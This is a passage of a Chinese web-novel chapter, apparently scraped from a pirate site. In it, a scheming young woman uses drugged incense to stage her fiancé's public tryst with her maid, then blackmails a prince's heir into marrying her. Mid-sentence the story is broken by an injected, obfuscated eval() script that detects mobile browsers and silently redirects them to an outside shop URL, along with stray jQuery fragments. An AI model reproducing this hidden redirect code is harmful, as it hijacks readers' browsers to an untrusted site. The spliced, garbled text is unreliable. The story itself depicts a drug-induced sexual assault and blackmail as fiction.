四月的长安草长莺飞,百般红紫斗芳菲。
街上行人熙攘,笑语不断,孟顽与李绥安都很少出府闲逛,见此景象二人脸上都挂着好奇与兴奋。
陆润就不同了,他成日里浪迹于烟花柳巷对长安各个角落都熟悉的很,他面色寻常大摇大摆的走在前头。
在外为了方便孟顽与李绥安换了一身男子的装扮,就连云苓与自然也跟着扮成了小厮的模样跟在几人身后。
她们四个好奇的看看这边又瞧瞧那边。
走在前头的陆润一回头却发现人没了,身边只有他的小厮金玉还跟在他身边。
“人呢?她们两个哪去了?”陆润心里一下就慌了,这两个人一个是他阿娘的命根子,一个是圣人的心尖宠,哪个他都丢不起!
金玉也满脸迷茫,明明人就跟在后面怎么一眨眼就没了。
“还看什么!赶紧去找人啊!”陆润用折扇敲了金玉的脑袋一下,催促他赶紧去找人。
主仆两人原路返回,仔仔细细打量了一番从他们身边经过的所有人,直到在一处小摊前发现了两人的身影,他心里狠狠地松了一口气,还好没被人给拐走。
“你们两个能不能认真点,咱们是来逛街玩乐的吗?”陆润真的是恨铁不成钢,这两个人怎么如此不务正业。
听见陆润的声音二人同时将手中的绒花放下,心虚地相视一笑。
“我们二人难得出来,你体谅一下吧!”李绥安拍了拍陆润的头,笑容很是慈祥,端足了长辈的架子。
“快走吧!去晚了错过好戏了。”陆润板着的脸一下子就垮了下来,催促两人赶快。
“好啦,我们不看了。二郎君带路吧!”孟顽恋恋不舍地看了一眼刚刚被她放下的绒花,她还没选好要哪个呢!
经过这一遭陆润将两人看得死死地不让她们再有机会去闲逛,一炷香后,几人出现在一雅致幽静茶楼中。
陆润安顿好几人后,又带着金玉出去转了一圈,确认好戏还没开场这才放下心。
“等着吧,好戏马上就要开场了。”他大咧咧地翘着二郎腿躺在贵妃塌上,等着接下来的重头戏。
陆润一直不说发生了什么事,来了这茶楼后更是直接闭目养神,吊足了二人的胃口。
可一直等了许久也不见外头有什么动静。
孟顽心中百无聊赖,早知道这样她还不如留在宜春苑看话本子呢!
推开窗户,看着外头车水马龙,孟顽默默数着从她眼前经过了多少人,突然一辆熟悉的马车在她面前缓缓停下。
侍女扶着一位身姿婀娜千娇百媚的小娘子下了马车,走进了一家胭脂铺子,她进去没一会儿,马车旁一位婢女模样的人悄悄朝着这间茶楼走来。
孟顽一愣,这不是孟怡吗?她的脸竟然已经好了。
想到陆润说过今日这出戏和孟家有关,难不成是孟怡要做什么吗?想到这里孟顽瞬间就打起精神来了,见那婢女鬼鬼祟祟应当不是受孟怡的命令来此。
她隐约瞧着像是春月,想到春月、孟怡与李景和错综复杂的关系。孟顽直觉此事应当因李景和而起,许是孟怡发现了二人之间的私情准备下手了。
“二郎君,今日这事和孟怡有关吗?”孟顽望着躺在贵妃榻上昏昏欲睡的陆润。
“你怎么知道的?”陆润一个鲤鱼打挺从榻上坐起,瞪大了双眼看向孟顽,他明明什么都没有说。
孟顽抬手指了指外头停着的马车,“因为我看到她了。”
陆润急匆匆地凑到窗边张望,兴奋地拍了拍窗棂,“好戏就要开始了!”
“你五姐姐才安分了多久。”李绥安喝了一口茶淡淡说道。
她并不关心孟怡要做什么,只要事情别牵扯到昭昭身上就好,所以她是在场反应最平淡的。
孟顽悄悄凑近她耳边悄声将自己的猜测说了出来。
李绥安微微皱眉,她想不懂孟怡到底在折腾什么,郑家再怎么说也是世家大族,她还有什么不满,非要攀那平阳王府的高枝。
平阳王院里莺莺燕燕众多,李景和也不似外表看起来那般端方守礼,哪里比得上家风清正的郑家。
她拍了拍孟顽的手,“不必理会她,咱们就坐着看戏便好。”
孟顽点了点头,正要开口就听到隔壁隐隐约约传出奇怪的声音,她眉头微皱,“什么声音?”
李绥安静静听了一瞬突然脸色大变,这分明就是男女欢好之声,隔壁暧昧的喘息声越来越大,孟顽也听出了不对劲,伴随着东西掉落的声音,隔壁的动静越发激烈。
她们两个都是未出阁的小娘子,哪里见过这种场面,纷纷面红耳赤手足无措。
想装作无事发生的模样,可隔壁的声音根本无法忽视。
连陆润也愣住了,他也没想到会发生这种事情,他只以为是二人私会,没想到他们居然如此大胆,连白日宣淫这事都做得出来。
“隔壁该不会是春月吧?”孟顽红着脸小声问道。
陆润机械地点了点头。
那女子是春月,那男子又是何人?
直觉告诉孟顽那男子绝对不会是李景和,孟怡将他当做向上爬的登天梯,绝不会将他拱手相让。
“那里头的男子是何人你知晓吗?”李绥安也有些好奇。
“郑持盈。”
一个意想不到的名字,让两人都愣住了。
孟顽思索了一会儿就明白了是怎么回事,孟怡之前便想通过污蔑她与郑持盈有染来解除这门婚约。
怕是这几日她不在府中,孟怡找不到机会下手,才将目标放到了春月身上。
再加上春月又和李景和不清不楚,孟怡今日只要将事情闹大,既可以解除婚约,也绝了春月对李景和的心思。
外头突然吵闹起来,似有娘子的惊呼声,应是他们二人之事被人给发现了。
“咱们要不要去瞧瞧?”陆润双眼冒光兴冲冲问道。
孟顽与李绥安连忙摇头拒绝,她们可不想凑这个热闹,万一看到不该看的长针眼怎么办。
这茶楼中人来人往,想必用不了多久这事就会在长安传开。
郑持盈惊恐地看向厢房外站着的孟怡,又低头看了看躺在他身下的人,愣怔了好久都回不过神来。
事情怎么会发展成这样他根本就记不起来,他明明是来赴孟怡的约,独自在厢房中等了许久也不见孟怡出现。
随着时间的推移只觉身子越发燥热,他烦躁不已,走到窗边推开窗,想着吹吹风能让他冷静下来。
可窗户一开炉中燃烧着的香被风一吹,甜腻的香气瞬间弥漫在空气中让他愈发呼吸不畅,燥热难捱。
就在他意识极度模糊时,厢房的门被人推开,一位年轻的小娘子走了进来,他还以为是孟怡一伸手就将人抱在了怀中,不顾身下的反抗将人压在身下。
反正孟怡早晚都要是他的人,这一天总会发生,他根本就没多想,哪成想这一次的大意竟然酿成大祸。
门外人头攒动,他与未婚妻的婢女衣衫不整滚在一处的模样被人看的清清楚楚。
这家茶楼在长安中很是出名,不少达官贵人都爱来此处吟诗作对。在场已有不少朝中之人都瞧见了这一幕,郑持盈今日就算是长了一万张嘴也说不清了。
他连忙将怀中人推开,想要张嘴解释,就被孟怡迎面扇了一个耳光。
“二郎你怎么能如此待我?你若是对婚约不满,同两家长辈说明从此各自嫁娶,互不相干。你为什么要做这种事来羞辱我,羞辱我们孟家?”
孟怡捂着脸哭的可怜,在场的人无不心生怜悯,出声指责郑持盈与春月无耻。
春月跌跌撞撞地跪倒在孟怡面前,扯住她裙摆求饶,“娘子!奴婢什么都不知道啊!奴婢是被迫的您一定要相信奴婢!”
“够了,我不想听你解释!我这就回府将今日之事禀明阿耶解了你我二人的婚约。”孟怡厉声呵斥,指着郑持盈的手不停的发抖。
说完她捂着脸扭头朝外跑去,中途不小心将桌案撞倒,上头的茶壶、香炉等纷纷滚落在地,撒出的茶水渐渐将烧尽的香灰浸湿。
望着孟怡的背影郑持盈彻底慌了,他慌忙穿好衣裳就要追出去,却被春月给拦住,“郑郎君您不能走,您走了奴婢怎么办?娘子那里已经容不下奴婢了!”
郑持盈看了一眼外头消失不见的孟怡,又看了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558418|176173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼哭得楚楚可怜的春月,想到她已经成了自己的人,他也无法将她弃之不顾,只能一狠心没有追出去。
弯腰将地上的春月打横抱起,忽视议论纷纷的众人走出茶楼。
外头的陆润看到啧啧称奇,不枉这郑持盈自诩君子,当真是怜香惜玉呀!
见主角都散了他继续待在这里也没意思,这难得一见的一幕他可要和大家好好说说,争取让今日没能瞧见的人也都知晓,最好全长安的人都不落下。
没办法,谁让他就是这么乐于助人呢!
孟怡其实并没有离开茶楼,她避开众人去了走廊尽头的一间厢房。
那里头正端坐着一位俊美的郎君,只是他此刻怒目圆睁,愤怒极了的模样生生破坏了那份俊美,倒显得格外狰狞。
“你今日叫我来就是为了看这个?你别以为这样就能逼我娶你!”
李景和用力掐住孟怡的脖子,不顾她的挣扎手掌不断收缩。
可孟怡却丝毫不怕反而大笑起来,只是呼吸不畅她没笑多久就止不住的咳嗽起来。
李景和见她这癫狂的模样反倒冷静下来,缓缓松开了手,“你为什么要这么做?”
他一脚将一旁的绣墩踢翻,发出巨大的声响,他有些后悔招惹孟怡了,原本见她出身不高又娇媚可爱,还当她是一个任人拿捏的玩物,今日却被她反将一军,他如何能不气。
“咳咳,世子您别生气嘛!我这么做还不是因为爱您,见不得您同旁人亲近。”
孟怡捂着被掐红的脖子大口大口喘息,等呼吸通畅后柔声细语说着,她看向李景和的眼中仿佛能滴出水来。
“别说这些没用的!”李景和负手立在一旁不耐烦的打断她。
“别以为我不知道你怎么想的,世子夫人的位置可不是什么人都能坐的!”
“我做不得旁人也别想做!”孟怡就像是换了一个人一样,恶狠狠的瞪着李景和。
“您如果不想今日这一幕再发生一次,最好就不要让我发现有其他人的存在。”
“你在威胁我!”
孟怡低头一笑,“世子说笑了,这怎么能算威胁。”说道这里她顿了顿,脸上的笑容也愈加灿烂,“真正的威胁应该是这些。”
她从袖中掏出一沓纸扬了出去。
真要感谢李景和从前轻视她,对她也不加防备,竟让她抓到了这么大的把柄。
纸上详细记录了李景和是如何利用平阳王府的权力诱骗百姓,勾结刑部侍郎插手案件诉讼进而敲诈勒索。
收钱即可颠倒黑白,或拖延不审或轻罪重判恐吓暗示被告行贿。
“你从哪得来的?”李景和将手中的纸撕碎恨不得立刻杀死孟怡,他这事做的极为隐秘,因畏惧圣人他也不敢做的太过,只敢在需要银两时这样做。
可就是这为数不多的几次竟然都被孟怡给知晓了。
“这还要多谢世子您对我不设防,我跟在您身边这么久了,有什么是我不知道。”孟怡走到李景和身边,食指在他胸口打圈。
李景和一把将她的手给攥着,低头凑近她,冷声说道:“你就不怕我杀了你?”
“我既然敢来就不怕您杀我,您应该也知道我兄长那未过门妻子的阿耶正是御史台的陈大人,他为人最是刚正不阿。”
“我今日来这茶楼就带来春月一个婢女,您猜猜我另外两个婢女哪去了?”
孟怡挑眉一笑,笑容魅惑至极。
“你当真是好心机,是我小看你了!”李景和攥着孟怡的手,用力将她甩开。
“那世子您到底要不要娶我呢?”孟怡随手拿起散落在地上的纸,朝着他扬了扬。
“等着!”李景和撂下这句话便怒气冲冲地大步离开。
望着他的背影孟怡知道此事成了。
她畅快地仰头大笑,李景和想甩开我你做梦吧!
从今往后她就是平阳王府的世子夫人,甚至是未来的太子妃也说不定!
孟顽,等我成了世子夫人第一个就要让你好看!她狠狠地攥紧双手,眼前仿佛已经浮现出孟顽跪在她脚边求饶的一幕。
想到这孟怡觉得她今日破釜沉舟当真是赌对了。